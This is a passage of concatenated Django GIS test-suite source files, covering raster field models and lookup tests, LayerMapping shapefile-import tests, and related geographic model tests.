        self.assertEqual(objid, id(ul), 'in-place add id')

        for n in (-1, 0, 1, 3):
            pl, ul = self.lists_of_len()
            self.assertEqual(list(pl * n), list(ul * n), 'mul by %d' % n)
            self.assertEqual(type(ul), type(ul * n), 'type of mul by %d result' % n)
            self.assertEqual(list(n * pl), list(n * ul), 'rmul by %d' % n)
            self.assertEqual(type(ul), type(n * ul), 'type of rmul by %d result' % n)
            objid = id(ul)
            pl *= n
            ul *= n
            self.assertEqual(pl[:], ul[:], 'in-place mul by %d' % n)
            self.assertEqual(objid, id(ul), 'in-place mul by %d id' % n)

        pl, ul = self.lists_of_len()
        self.assertEqual(pl, ul, 'cmp for equal')
        self.assertNotEqual(ul, pl + [2], 'cmp for not equal')
        self.assertGreaterEqual(pl, ul, 'cmp for gte self')
        self.assertLessEqual(pl, ul, 'cmp for lte self')
        self.assertGreaterEqual(ul, pl, 'cmp for self gte')
        self.assertLessEqual(ul, pl, 'cmp for self lte')

        self.assertGreater(pl + [5], ul, 'cmp')
        self.assertGreaterEqual(pl + [5], ul, 'cmp')
        self.assertLess(pl, ul + [2], 'cmp')
        self.assertLessEqual(pl, ul + [2], 'cmp')
        self.assertGreater(ul + [5], pl, 'cmp')
        self.assertGreaterEqual(ul + [5], pl, 'cmp')
        self.assertLess(ul, pl + [2], 'cmp')
        self.assertLessEqual(ul, pl + [2], 'cmp')

        # Also works with a custom IndexError
        ul_longer = ul + [2]
        ul_longer._IndexError = TypeError
        ul._IndexError = TypeError
        self.assertNotEqual(ul_longer, pl)
        self.assertGreater(ul_longer, ul)

        pl[1] = 20
        self.assertGreater(pl, ul, 'cmp for gt self')
        self.assertLess(ul, pl, 'cmp for self lt')
        pl[1] = -20
        self.assertLess(pl, ul, 'cmp for lt self')
        self.assertGreater(ul, pl, 'cmp for gt self')


class ListMixinTestSingle(ListMixinTest):
    listType = UserListB












from django.contrib.gis.gdal import HAS_GDAL

from ..models import models

if HAS_GDAL:
    class RasterModel(models.Model):
        rast = models.RasterField('A Verbose Raster Name', null=True, srid=4326, spatial_index=True, blank=True)
        rastprojected = models.RasterField('A Projected Raster Table', srid=3086, null=True)
        geom = models.PointField(null=True)

        class Meta:
            required_db_features = ['supports_raster']

        def __str__(self):
            return str(self.id)

    class RasterRelatedModel(models.Model):
        rastermodel = models.ForeignKey(RasterModel, models.CASCADE)

        class Meta:
            required_db_features = ['supports_raster']

        def __str__(self):
            return str(self.id)












import json

from django.contrib.gis.db.models.lookups import (
    DistanceLookupBase, gis_lookups,
)
from django.contrib.gis.gdal import HAS_GDAL
from django.contrib.gis.geos import GEOSGeometry
from django.contrib.gis.measure import D
from django.contrib.gis.shortcuts import numpy
from django.db.models import Q
from django.test import TransactionTestCase, skipUnlessDBFeature

from ..data.rasters.textrasters import JSON_RASTER

if HAS_GDAL:
    from django.contrib.gis.gdal import GDALRaster
    from .models import RasterModel, RasterRelatedModel


@skipUnlessDBFeature('supports_raster')
class RasterFieldTest(TransactionTestCase):
    available_apps = ['gis_tests.rasterapp']

    def setUp(self):
        rast = GDALRaster({
            "srid": 4326,
            "origin": [0, 0],
            "scale": [-1, 1],
            "skew": [0, 0],
            "width": 5,
            "height": 5,
            "nr_of_bands": 2,
            "bands": [{"data": range(25)}, {"data": range(25, 50)}],
        })
        model_instance = RasterModel.objects.create(
            rast=rast,
            rastprojected=rast,
            geom="POINT (-95.37040 29.70486)",
        )
        RasterRelatedModel.objects.create(rastermodel=model_instance)

    def test_field_null_value(self):
        """
        Test creating a model where the RasterField has a null value.
        """
        r = RasterModel.objects.create(rast=None)
        r.refresh_from_db()
        self.assertIsNone(r.rast)

    def test_access_band_data_directly_from_queryset(self):
        RasterModel.objects.create(rast=JSON_RASTER)
        qs = RasterModel.objects.all()
        qs[0].rast.bands[0].data()

    def test_model_creation(self):
        """
        Test RasterField through a test model.
        """
        # Create model instance from JSON raster
        r = RasterModel.objects.create(rast=JSON_RASTER)
        r.refresh_from_db()
        # Test raster metadata properties
        self.assertEqual((5, 5), (r.rast.width, r.rast.height))
        self.assertEqual([0.0, -1.0, 0.0, 0.0, 0.0, 1.0], r.rast.geotransform)
        self.assertIsNone(r.rast.bands[0].nodata_value)
        # Compare srs
        self.assertEqual(r.rast.srs.srid, 4326)
        # Compare pixel values
        band = r.rast.bands[0].data()
        # If numpy, convert result to list
        if numpy:
            band = band.flatten().tolist()
        # Loop through rows in band data and assert single
        # value is as expected.
        self.assertEqual(
            [
                0.0, 1.0, 2.0, 3.0, 4.0,
                5.0, 6.0, 7.0, 8.0, 9.0,
                10.0, 11.0, 12.0, 13.0, 14.0,
                15.0, 16.0, 17.0, 18.0, 19.0,
                20.0, 21.0, 22.0, 23.0, 24.0
            ],
            band
        )

    def test_implicit_raster_transformation(self):
        """
        Test automatic transformation of rasters with srid different from the
        field srid.
        """
        # Parse json raster
        rast = json.loads(JSON_RASTER)
        # Update srid to another value
        rast['srid'] = 3086
        # Save model and get it from db
        r = RasterModel.objects.create(rast=rast)
        r.refresh_from_db()
        # Confirm raster has been transformed to the default srid
        self.assertEqual(r.rast.srs.srid, 4326)
        # Confirm geotransform is in lat/lon
        self.assertEqual(
            r.rast.geotransform,
            [-87.9298551266551, 9.459646421449934e-06, 0.0,
             23.94249275457565, 0.0, -9.459646421449934e-06]
        )

    def test_verbose_name_arg(self):
        """
        RasterField should accept a positional verbose name argument.
        """
        self.assertEqual(
            RasterModel._meta.get_field('rast').verbose_name,
            'A Verbose Raster Name'
        )

    def test_all_gis_lookups_with_rasters(self):
        """
        Evaluate all possible lookups for all input combinations (i.e.
        raster-raster, raster-geom, geom-raster) and for projected and
        unprojected coordinate systems. This test just checks that the lookup
        can be called, but doesn't check if the result makes logical sense.
        """
        from django.contrib.gis.db.backends.postgis.operations import PostGISOperations

        # Create test raster and geom.
        rast = GDALRaster(json.loads(JSON_RASTER))
        stx_pnt = GEOSGeometry('POINT (-95.370401017314293 29.704867409475465)', 4326)
        stx_pnt.transform(3086)

        # Loop through all the GIS lookups.
        for name, lookup in gis_lookups.items():
            # Construct lookup filter strings.
            combo_keys = [
                field + name for field in [
                    'rast__', 'rast__', 'rastprojected__0__', 'rast__',
                    'rastprojected__', 'geom__', 'rast__',
                ]
            ]
            if issubclass(lookup, DistanceLookupBase):
                # Set lookup values for distance lookups.
                combo_values = [
                    (rast, 50, 'spheroid'),
                    (rast, 0, 50, 'spheroid'),
                    (rast, 0, D(km=1)),
                    (stx_pnt, 0, 500),
                    (stx_pnt, D(km=1000)),
                    (rast, 500),
                    (json.loads(JSON_RASTER), 500),
                ]
            elif name == 'relate':
                # Set lookup values for the relate lookup.
                combo_values = [
                    (rast, 'T*T***FF*'),
                    (rast, 0, 'T*T***FF*'),
                    (rast, 0, 'T*T***FF*'),
                    (stx_pnt, 0, 'T*T***FF*'),
                    (stx_pnt, 'T*T***FF*'),
                    (rast, 'T*T***FF*'),
                    (json.loads(JSON_RASTER), 'T*T***FF*'),
                ]
            elif name == 'isvalid':
                # The isvalid lookup doesn't make sense for rasters.
                continue
            elif PostGISOperations.gis_operators[name].func:
                # Set lookup values for all function based operators.
                combo_values = [
                    rast, (rast, 0), (rast, 0), (stx_pnt, 0), stx_pnt,
                    rast, rast, json.loads(JSON_RASTER)
                ]
            else:
                # Override band lookup for these, as it's not supported.
                combo_keys[2] = 'rastprojected__' + name
                # Set lookup values for all other operators.
                combo_values = [rast, rast, rast, stx_pnt, stx_pnt, rast, rast, json.loads(JSON_RASTER)]

            # Create query filter combinations.
            combos = [{x[0]: x[1]} for x in zip(combo_keys, combo_values)]

            for combo in combos:
                # Apply this query filter.
                qs = RasterModel.objects.filter(**combo)

                # Evaluate normal filter qs.
                self.assertIn(qs.count(), [0, 1])

            # Evaluate on conditional Q expressions.
            qs = RasterModel.objects.filter(Q(**combos[0]) & Q(**combos[1]))
            self.assertIn(qs.count(), [0, 1])

    def test_dwithin_gis_lookup_ouptut_with_rasters(self):
        """
        Check the logical functionality of the dwithin lookup for different
        input parameters.
        """
        # Create test raster and geom.
        rast = GDALRaster(json.loads(JSON_RASTER))
        stx_pnt = GEOSGeometry('POINT (-95.370401017314293 29.704867409475465)', 4326)
        stx_pnt.transform(3086)

        # Filter raster with different lookup raster formats.
        qs = RasterModel.objects.filter(rastprojected__dwithin=(rast, D(km=1)))
        self.assertEqual(qs.count(), 1)

        qs = RasterModel.objects.filter(rastprojected__dwithin=(json.loads(JSON_RASTER), D(km=1)))
        self.assertEqual(qs.count(), 1)

        qs = RasterModel.objects.filter(rastprojected__dwithin=(JSON_RASTER, D(km=1)))
        self.assertEqual(qs.count(), 1)

        # Filter in an unprojected coordinate system.
        qs = RasterModel.objects.filter(rast__dwithin=(rast, 40))
        self.assertEqual(qs.count(), 1)

        # Filter with band index transform.
        qs = RasterModel.objects.filter(rast__1__dwithin=(rast, 1, 40))
        self.assertEqual(qs.count(), 1)
        qs = RasterModel.objects.filter(rast__1__dwithin=(rast, 40))
        self.assertEqual(qs.count(), 1)
        qs = RasterModel.objects.filter(rast__dwithin=(rast, 1, 40))
        self.assertEqual(qs.count(), 1)

        # Filter raster by geom.
        qs = RasterModel.objects.filter(rast__dwithin=(stx_pnt, 500))
        self.assertEqual(qs.count(), 1)

        qs = RasterModel.objects.filter(rastprojected__dwithin=(stx_pnt, D(km=10000)))
        self.assertEqual(qs.count(), 1)

        qs = RasterModel.objects.filter(rast__dwithin=(stx_pnt, 5))
        self.assertEqual(qs.count(), 0)

        qs = RasterModel.objects.filter(rastprojected__dwithin=(stx_pnt, D(km=100)))
        self.assertEqual(qs.count(), 0)

        # Filter geom by raster.
        qs = RasterModel.objects.filter(geom__dwithin=(rast, 500))
        self.assertEqual(qs.count(), 1)

        # Filter through related model.
        qs = RasterRelatedModel.objects.filter(rastermodel__rast__dwithin=(rast, 40))
        self.assertEqual(qs.count(), 1)

        # Filter through related model with band index transform
        qs = RasterRelatedModel.objects.filter(rastermodel__rast__1__dwithin=(rast, 40))
        self.assertEqual(qs.count(), 1)

        # Filter through conditional statements.
        qs = RasterModel.objects.filter(Q(rast__dwithin=(rast, 40)) & Q(rastprojected__dwithin=(stx_pnt, D(km=10000))))
        self.assertEqual(qs.count(), 1)

        # Filter through different lookup.
        qs = RasterModel.objects.filter(rastprojected__bbcontains=rast)
        self.assertEqual(qs.count(), 1)

    def test_lookup_input_tuple_too_long(self):
        rast = GDALRaster(json.loads(JSON_RASTER))
        qs = RasterModel.objects.filter(rast__bbcontains=(rast, 1, 2))
        msg = 'Tuple too long for lookup bbcontains.'
        with self.assertRaisesMessage(ValueError, msg):
            qs.count()

    def test_lookup_input_band_not_allowed(self):
        rast = GDALRaster(json.loads(JSON_RASTER))
        qs = RasterModel.objects.filter(rast__bbcontains=(rast, 1))
        msg = 'Band indices are not allowed for this operator, it works on bbox only.'
        with self.assertRaisesMessage(ValueError, msg):
            qs.count()

    def test_isvalid_lookup_with_raster_error(self):
        qs = RasterModel.objects.filter(rast__isvalid=True)
        msg = 'The isvalid lookup is only available on geometry fields.'
        with self.assertRaisesMessage(ValueError, msg):
            qs.count()

    def test_result_of_gis_lookup_with_rasters(self):
        # Point is in the interior
        qs = RasterModel.objects.filter(rast__contains=GEOSGeometry('POINT (-0.5 0.5)', 4326))
        self.assertEqual(qs.count(), 1)
        # Point is in the exterior
        qs = RasterModel.objects.filter(rast__contains=GEOSGeometry('POINT (0.5 0.5)', 4326))
        self.assertEqual(qs.count(), 0)
        # A point on the boundary is not contained properly
        qs = RasterModel.objects.filter(rast__contains_properly=GEOSGeometry('POINT (0 0)', 4326))
        self.assertEqual(qs.count(), 0)
        # Raster is located left of the point
        qs = RasterModel.objects.filter(rast__left=GEOSGeometry('POINT (1 0)', 4326))
        self.assertEqual(qs.count(), 1)

    def test_lookup_with_raster_bbox(self):
        rast = GDALRaster(json.loads(JSON_RASTER))
        # Shift raster upwards
        rast.origin.y = 2
        # The raster in the model is not strictly below
        qs = RasterModel.objects.filter(rast__strictly_below=rast)
        self.assertEqual(qs.count(), 0)
        # Shift raster further upwards
        rast.origin.y = 6
        # The raster in the model is strictly below
        qs = RasterModel.objects.filter(rast__strictly_below=rast)
        self.assertEqual(qs.count(), 1)

    def test_lookup_with_polygonized_raster(self):
        rast = GDALRaster(json.loads(JSON_RASTER))
        # Move raster to overlap with the model point on the left side
        rast.origin.x = -95.37040 + 1
        rast.origin.y = 29.70486
        # Raster overlaps with point in model
        qs = RasterModel.objects.filter(geom__intersects=rast)
        self.assertEqual(qs.count(), 1)
        # Change left side of raster to be nodata values
        rast.bands[0].data(data=[0, 0, 0, 1, 1], shape=(5, 1))
        rast.bands[0].nodata_value = 0
        qs = RasterModel.objects.filter(geom__intersects=rast)
        # Raster does not overlap anymore after polygonization
        # where the nodata zone is not included.
        self.assertEqual(qs.count(), 0)

    def test_lookup_value_error(self):
        # Test with invalid dict lookup parameter
        obj = dict()
        msg = "Couldn't create spatial object from lookup value '%s'." % obj
        with self.assertRaisesMessage(ValueError, msg):
            RasterModel.objects.filter(geom__intersects=obj)
        # Test with invalid string lookup parameter
        obj = '00000'
        msg = "Couldn't create spatial object from lookup value '%s'." % obj
        with self.assertRaisesMessage(ValueError, msg):
            RasterModel.objects.filter(geom__intersects=obj)






from django.utils.encoding import python_2_unicode_compatible

from ..models import models


@python_2_unicode_compatible
class NamedModel(models.Model):
    name = models.CharField(max_length=25)

    class Meta:
        abstract = True
        required_db_features = ['gis_enabled']

    def __str__(self):
        return self.name


class State(NamedModel):
    pass


class County(NamedModel):
    state = models.ForeignKey(State, models.CASCADE)
    mpoly = models.MultiPolygonField(srid=4269)  # Multipolygon in NAD83


class CountyFeat(NamedModel):
    poly = models.PolygonField(srid=4269)


class City(NamedModel):
    name_txt = models.TextField(default='')
    name_short = models.CharField(max_length=5)
    population = models.IntegerField()
    density = models.DecimalField(max_digits=7, decimal_places=1)
    dt = models.DateField()
    point = models.PointField()

    class Meta:
        app_label = 'layermap'
        required_db_features = ['gis_enabled']


class Interstate(NamedModel):
    length = models.DecimalField(max_digits=6, decimal_places=2)
    path = models.LineStringField()

    class Meta:
        app_label = 'layermap'
        required_db_features = ['gis_enabled']


# Same as `City` above, but for testing model inheritance.
class CityBase(NamedModel):
    population = models.IntegerField()
    density = models.DecimalField(max_digits=7, decimal_places=1)
    point = models.PointField()


class ICity1(CityBase):
    dt = models.DateField()

    class Meta(CityBase.Meta):
        pass


class ICity2(ICity1):
    dt_time = models.DateTimeField(auto_now=True)

    class Meta(ICity1.Meta):
        pass


class Invalid(models.Model):
    point = models.PointField()

    class Meta:
        required_db_features = ['gis_enabled']


# Mapping dictionaries for the models above.
co_mapping = {
    'name': 'Name',
    # ForeignKey's use another mapping dictionary for the _related_ Model (State in this case).
    'state': {'name': 'State'},
    'mpoly': 'MULTIPOLYGON',  # Will convert POLYGON features into MULTIPOLYGONS.
}

cofeat_mapping = {'name': 'Name',
                  'poly': 'POLYGON',
                  }

city_mapping = {'name': 'Name',
                'population': 'Population',
                'density': 'Density',
                'dt': 'Created',
                'point': 'POINT',
                }

inter_mapping = {'name': 'Name',
                 'length': 'Length',
                 'path': 'LINESTRING',
                 }












# -*- coding: utf-8 -*-
from __future__ import unicode_literals

import os
import unittest
from copy import copy
from decimal import Decimal

from django.conf import settings
from django.contrib.gis.gdal import HAS_GDAL
from django.contrib.gis.geos import HAS_GEOS
from django.db import connection
from django.test import TestCase, override_settings, skipUnlessDBFeature
from django.utils._os import upath

if HAS_GEOS and HAS_GDAL:
    from django.contrib.gis.utils.layermapping import (
        LayerMapping, LayerMapError, InvalidDecimal, InvalidString,
        MissingForeignKey,
    )
    from django.contrib.gis.gdal import DataSource

    from .models import (
        City, County, CountyFeat, Interstate, ICity1, ICity2, Invalid, State,
        city_mapping, co_mapping, cofeat_mapping, inter_mapping,
    )


shp_path = os.path.realpath(os.path.join(os.path.dirname(upath(__file__)), os.pardir, 'data'))
city_shp = os.path.join(shp_path, 'cities', 'cities.shp')
co_shp = os.path.join(shp_path, 'counties', 'counties.shp')
inter_shp = os.path.join(shp_path, 'interstates', 'interstates.shp')
invalid_shp = os.path.join(shp_path, 'invalid', 'emptypoints.shp')

# Dictionaries to hold what's expected in the county shapefile.
NAMES = ['Bexar', 'Galveston', 'Harris', 'Honolulu', 'Pueblo']
NUMS = [1, 2, 1, 19, 1]  # Number of polygons for each.
STATES = ['Texas', 'Texas', 'Texas', 'Hawaii', 'Colorado']


@skipUnlessDBFeature("gis_enabled")
class LayerMapTest(TestCase):

    def test_init(self):
        "Testing LayerMapping initialization."

        # Model field that does not exist.
        bad1 = copy(city_mapping)
        bad1['foobar'] = 'FooField'

        # Shapefile field that does not exist.
        bad2 = copy(city_mapping)
        bad2['name'] = 'Nombre'

        # Nonexistent geographic field type.
        bad3 = copy(city_mapping)
        bad3['point'] = 'CURVE'

        # Incrementing through the bad mapping dictionaries and
        # ensuring that a LayerMapError is raised.
        for bad_map in (bad1, bad2, bad3):
            with self.assertRaises(LayerMapError):
                LayerMapping(City, city_shp, bad_map)

        # A LookupError should be thrown for bogus encodings.
        with self.assertRaises(LookupError):
            LayerMapping(City, city_shp, city_mapping, encoding='foobar')

    def test_simple_layermap(self):
        "Test LayerMapping import of a simple point shapefile."
        # Setting up for the LayerMapping.
        lm = LayerMapping(City, city_shp, city_mapping)
        lm.save()

        # There should be three cities in the shape file.
        self.assertEqual(3, City.objects.count())

        # Opening up the shapefile, and verifying the values in each
        # of the features made it to the model.
        ds = DataSource(city_shp)
        layer = ds[0]
        for feat in layer:
            city = City.objects.get(name=feat['Name'].value)
            self.assertEqual(feat['Population'].value, city.population)
            self.assertEqual(Decimal(str(feat['Density'])), city.density)
            self.assertEqual(feat['Created'].value, city.dt)

            # Comparing the geometries.
            pnt1, pnt2 = feat.geom, city.point
            self.assertAlmostEqual(pnt1.x, pnt2.x, 5)
            self.assertAlmostEqual(pnt1.y, pnt2.y, 5)

    def test_layermap_strict(self):
        "Testing the `strict` keyword, and import of a LineString shapefile."
        # When the `strict` keyword is set an error encountered will force
        # the importation to stop.
        with self.assertRaises(InvalidDecimal):
            lm = LayerMapping(Interstate, inter_shp, inter_mapping)
            lm.save(silent=True, strict=True)
        Interstate.objects.all().delete()

        # This LayerMapping should work b/c `strict` is not set.
        lm = LayerMapping(Interstate, inter_shp, inter_mapping)
        lm.save(silent=True)

        # Two interstate should have imported correctly.
        self.assertEqual(2, Interstate.objects.count())

        # Verifying the values in the layer w/the model.
        ds = DataSource(inter_shp)

        # Only the first two features of this shapefile are valid.
        valid_feats = ds[0][:2]
        for feat in valid_feats:
            istate = Interstate.objects.get(name=feat['Name'].value)

            if feat.fid == 0:
                self.assertEqual(Decimal(str(feat['Length'])), istate.length)
            elif feat.fid == 1:
                # Everything but the first two decimal digits were truncated,
                # because the Interstate model's `length` field has decimal_places=2.
                self.assertAlmostEqual(feat.get('Length'), float(istate.length), 2)

            for p1, p2 in zip(feat.geom, istate.path):
                self.assertAlmostEqual(p1[0], p2[0], 6)
                self.assertAlmostEqual(p1[1], p2[1], 6)

    def county_helper(self, county_feat=True):
        "Helper function for ensuring the integrity of the mapped County models."
        for name, n, st in zip(NAMES, NUMS, STATES):
            # Should only be one record b/c of `unique` keyword.
            c = County.objects.get(name=name)
            self.assertEqual(n, len(c.mpoly))
            self.assertEqual(st, c.state.name)  # Checking ForeignKey mapping.

            # Multiple records because `unique` was not set.
            if county_feat:
                qs = CountyFeat.objects.filter(name=name)
                self.assertEqual(n, qs.count())

    def test_layermap_unique_multigeometry_fk(self):
        "Testing the `unique`, and `transform`, geometry collection conversion, and ForeignKey mappings."
        # All the following should work.

        # Telling LayerMapping that we want no transformations performed on the data.
        lm = LayerMapping(County, co_shp, co_mapping, transform=False)

        # Specifying the source spatial reference system via the `source_srs` keyword.
        lm = LayerMapping(County, co_shp, co_mapping, source_srs=4269)
        lm = LayerMapping(County, co_shp, co_mapping, source_srs='NAD83')

        # Unique may take tuple or string parameters.
        for arg in ('name', ('name', 'mpoly')):
            lm = LayerMapping(County, co_shp, co_mapping, transform=False, unique=arg)

        # Now test for failures

        # Testing invalid params for the `unique` keyword.
        for e, arg in ((TypeError, 5.0), (ValueError, 'foobar'), (ValueError, ('name', 'mpolygon'))):
            with self.assertRaises(e):
                LayerMapping(County, co_shp, co_mapping, transform=False, unique=arg)

        # No source reference system defined in the shapefile, should raise an error.
        if connection.features.supports_transform:
            with self.assertRaises(LayerMapError):
                LayerMapping(County, co_shp, co_mapping)

        # Passing in invalid ForeignKey mapping parameters -- must be a dictionary
        # mapping for the model the ForeignKey points to.
        bad_fk_map1 = copy(co_mapping)
        bad_fk_map1['state'] = 'name'
        bad_fk_map2 = copy(co_mapping)
        bad_fk_map2['state'] = {'nombre': 'State'}
        with self.assertRaises(TypeError):
            LayerMapping(County, co_shp, bad_fk_map1, transform=False)
        with self.assertRaises(LayerMapError):
            LayerMapping(County, co_shp, bad_fk_map2, transform=False)

        # There exist no State models for the ForeignKey mapping to work -- should raise
        # a MissingForeignKey exception (this error would be ignored if the `strict`
        # keyword is not set).
        lm = LayerMapping(County, co_shp, co_mapping, transform=False, unique='name')
        with self.assertRaises(MissingForeignKey):
            lm.save(silent=True, strict=True)

        # Now creating the state models so the ForeignKey mapping may work.
        State.objects.bulk_create([
            State(name='Colorado'), State(name='Hawaii'), State(name='Texas')
        ])

        # If a mapping is specified as a collection, all OGR fields that
        # are not collections will be converted into them.  For example,
        # a Point column would be converted to MultiPoint. Other things being done
        # w/the keyword args:
        #  `transform=False`: Specifies that no transform is to be done; this
        #    has the effect of ignoring the spatial reference check (because the
        #    county shapefile does not have implicit spatial reference info).
        #
        #  `unique='name'`: Creates models on the condition that they have
        #    unique county names; geometries from each feature however will be
        #    appended to the geometry collection of the unique model.  Thus,
        #    all of the various islands in Honolulu county will be in in one
        #    database record with a MULTIPOLYGON type.
        lm = LayerMapping(County, co_shp, co_mapping, transform=False, unique='name')
        lm.save(silent=True, strict=True)

        # A reference that doesn't use the unique keyword; a new database record will
        # created for each polygon.
        lm = LayerMapping(CountyFeat, co_shp, cofeat_mapping, transform=False)
        lm.save(silent=True, strict=True)

        # The county helper is called to ensure integrity of County models.
        self.county_helper()

    def test_test_fid_range_step(self):
        "Tests the `fid_range` keyword and the `step` keyword of .save()."
        # Function for clearing out all the counties before testing.
        def clear_counties():
            County.objects.all().delete()

        State.objects.bulk_create([
            State(name='Colorado'), State(name='Hawaii'), State(name='Texas')
        ])

        # Initializing the LayerMapping object to use in these tests.
        lm = LayerMapping(County, co_shp, co_mapping, transform=False, unique='name')

        # Bad feature id ranges should raise a type error.
        bad_ranges = (5.0, 'foo', co_shp)
        for bad in bad_ranges:
            with self.assertRaises(TypeError):
                lm.save(fid_range=bad)

        # Step keyword should not be allowed w/`fid_range`.
        fr = (3, 5)  # layer[3:5]
        with self.assertRaises(LayerMapError):
            lm.save(fid_range=fr, step=10)
        lm.save(fid_range=fr)

        # Features IDs 3 & 4 are for Galveston County, Texas -- only
        # one model is returned because the `unique` keyword was set.
        qs = County.objects.all()
        self.assertEqual(1, qs.count())
        self.assertEqual('Galveston', qs[0].name)

        # Features IDs 5 and beyond for Honolulu County, Hawaii, and
        # FID 0 is for Pueblo County, Colorado.
        clear_counties()
        lm.save(fid_range=slice(5, None), silent=True, strict=True)  # layer[5:]
        lm.save(fid_range=slice(None, 1), silent=True, strict=True)  # layer[:1]

        # Only Pueblo & Honolulu counties should be present because of
        # the `unique` keyword.  Have to set `order_by` on this QuerySet
        # or else MySQL will return a different ordering than the other dbs.
        qs = County.objects.order_by('name')
        self.assertEqual(2, qs.count())
        hi, co = tuple(qs)
        hi_idx, co_idx = tuple(map(NAMES.index, ('Honolulu', 'Pueblo')))
        self.assertEqual('Pueblo', co.name)
        self.assertEqual(NUMS[co_idx], len(co.mpoly))
        self.assertEqual('Honolulu', hi.name)
        self.assertEqual(NUMS[hi_idx], len(hi.mpoly))

        # Testing the `step` keyword -- should get the same counties
        # regardless of we use a step that divides equally, that is odd,
        # or that is larger than the dataset.
        for st in (4, 7, 1000):
            clear_counties()
            lm.save(step=st, strict=True)
            self.county_helper(county_feat=False)

    def test_model_inheritance(self):
        "Tests LayerMapping on inherited models.  See #12093."
        icity_mapping = {'name': 'Name',
                         'population': 'Population',
                         'density': 'Density',
                         'point': 'POINT',
                         'dt': 'Created',
                         }

        # Parent model has geometry field.
        lm1 = LayerMapping(ICity1, city_shp, icity_mapping)
        lm1.save()

        # Grandparent has geometry field.
        lm2 = LayerMapping(ICity2, city_shp, icity_mapping)
        lm2.save()

        self.assertEqual(6, ICity1.objects.count())
        self.assertEqual(3, ICity2.objects.count())

    def test_invalid_layer(self):
        "Tests LayerMapping on invalid geometries.  See #15378."
        invalid_mapping = {'point': 'POINT'}
        lm = LayerMapping(Invalid, invalid_shp, invalid_mapping,
                          source_srs=4326)
        lm.save(silent=True)

    def test_charfield_too_short(self):
        mapping = copy(city_mapping)
        mapping['name_short'] = 'Name'
        lm = LayerMapping(City, city_shp, mapping)
        with self.assertRaises(InvalidString):
            lm.save(silent=True, strict=True)

    def test_textfield(self):
        "Tests that String content fits also in a TextField"
        mapping = copy(city_mapping)
        mapping['name_txt'] = 'Name'
        lm = LayerMapping(City, city_shp, mapping)
        lm.save(silent=True, strict=True)
        self.assertEqual(City.objects.count(), 3)
        self.assertEqual(City.objects.get(name='Houston').name_txt, "Houston")

    def test_encoded_name(self):
        """ Test a layer containing utf-8-encoded name """
        city_shp = os.path.join(shp_path, 'ch-city', 'ch-city.shp')
        lm = LayerMapping(City, city_shp, city_mapping)
        lm.save(silent=True, strict=True)
        self.assertEqual(City.objects.count(), 1)
        self.assertEqual(City.objects.all()[0].name, "Zürich")


class OtherRouter(object):
    def db_for_read(self, model, **hints):
        return 'other'

    def db_for_write(self, model, **hints):
        return self.db_for_read(model, **hints)

    def allow_relation(self, obj1, obj2, **hints):
        return None

    def allow_migrate(self, db, app_label, **hints):
        return True


@skipUnlessDBFeature("gis_enabled")
@override_settings(DATABASE_ROUTERS=[OtherRouter()])
class LayerMapRouterTest(TestCase):

    @unittest.skipUnless(len(settings.DATABASES) > 1, 'multiple databases required')
    def test_layermapping_default_db(self):
        lm = LayerMapping(City, city_shp, city_mapping)
        self.assertEqual(lm.using, 'other')






from django.utils.encoding import python_2_unicode_compatible

from ..models import models


class SimpleModel(models.Model):

    objects = models.GeoManager()

    class Meta:
        abstract = True
        required_db_features = ['gis_enabled']


@python_2_unicode_compatible
class Location(SimpleModel):
    point = models.PointField()

    def __str__(self):
        return self.point.wkt


@python_2_unicode_compatible
class City(SimpleModel):
    name = models.CharField(max_length=50)
    state = models.CharField(max_length=2)
    location = models.ForeignKey(Location, models.CASCADE)

    def __str__(self):
        return self.name


class AugmentedLocation(Location):
    extra_text = models.TextField(blank=True)


class DirectoryEntry(SimpleModel):
    listing_text = models.CharField(max_length=50)
    location = models.ForeignKey(AugmentedLocation, models.CASCADE)


@python_2_unicode_compatible
class Parcel(SimpleModel):
    name = models.CharField(max_length=30)
    city = models.ForeignKey(City, models.CASCADE)
    center1 = models.PointField()
    # Throwing a curveball w/`db_column` here.
    center2 = models.PointField(srid=2276, db_column='mycenter')
    border1 = models.PolygonField()
    border2 = models.PolygonField(srid=2276)

    def __str__(self):
        return self.name


class Author(SimpleModel):
    name = models.CharField(max_length=100)
    dob = models.DateField()


class Article(SimpleModel):
    title = models.CharField(max_length=100)
    author = models.ForeignKey(Author, models.CASCADE, unique=True)


class Book(SimpleModel):
    title = models.CharField(max_length=100)
    author = models.ForeignKey(Author, models.SET_NULL, related_name='books', null=True)


class Event(SimpleModel):
    name = models.CharField(max_length=100)
    when = models.DateTimeField()












from __future__ import unicode_literals

from django.contrib.gis.db.models import Collect, Count, Extent, F, Union
from django.contrib.gis.geometry.backend import Geometry
from django.contrib.gis.geos import GEOSGeometry, MultiPoint, Point
from django.db import connection
from django.test import TestCase, skipUnlessDBFeature
from django.test.utils import override_settings
from django.utils import timezone

from ..utils import no_oracle
from .models import (
    Article, Author, Book, City, DirectoryEntry, Event, Location, Parcel,
)


@skipUnlessDBFeature("gis_enabled")
class RelatedGeoModelTest(TestCase):
    fixtures = ['initial']

    def test02_select_related(self):
        "Testing `select_related` on geographic models (see #7126)."
        qs1 = City.objects.order_by('id')
        qs2 = City.objects.order_by('id').select_related()
        qs3 = City.objects.order_by('id').select_related('location')

        # Reference data for what's in the fixtures.
        cities = (
            ('Aurora', 'TX', -97.516111, 33.058333),
            ('Roswell', 'NM', -104.528056, 33.387222),
            ('Kecksburg', 'PA', -79.460734, 40.18476),
        )

        for qs in (qs1, qs2, qs3):
            for ref, c in zip(cities, qs):
                nm, st, lon, lat = ref
                self.assertEqual(nm, c.name)
                self.assertEqual(st, c.state)
                self.assertEqual(Point(lon, lat), c.location.point)

    @skipUnlessDBFeature("has_transform_method")
    def test03_transform_related(self):
        "Testing the `transform` GeoQuerySet method on related geographic models."
        # All the transformations are to state plane coordinate systems using
        # US Survey Feet (thus a tolerance of 0 implies error w/in 1 survey foot).
        tol = 0

        def check_pnt(ref, pnt):
            self.assertAlmostEqual(ref.x, pnt.x, tol)
            self.assertAlmostEqual(ref.y, pnt.y, tol)
            self.assertEqual(ref.srid, pnt.srid)

        # Each city transformed to the SRID of their state plane coordinate system.
        transformed = (('Kecksburg', 2272, 'POINT(1490553.98959621 314792.131023984)'),
                       ('Roswell', 2257, 'POINT(481902.189077221 868477.766629735)'),
                       ('Aurora', 2276, 'POINT(2269923.2484839 7069381.28722222)'),
                       )

        for name, srid, wkt in transformed:
            # Doing this implicitly sets `select_related` select the location.
            # TODO: Fix why this breaks on Oracle.
            qs = list(City.objects.filter(name=name).transform(srid, field_name='location__point'))
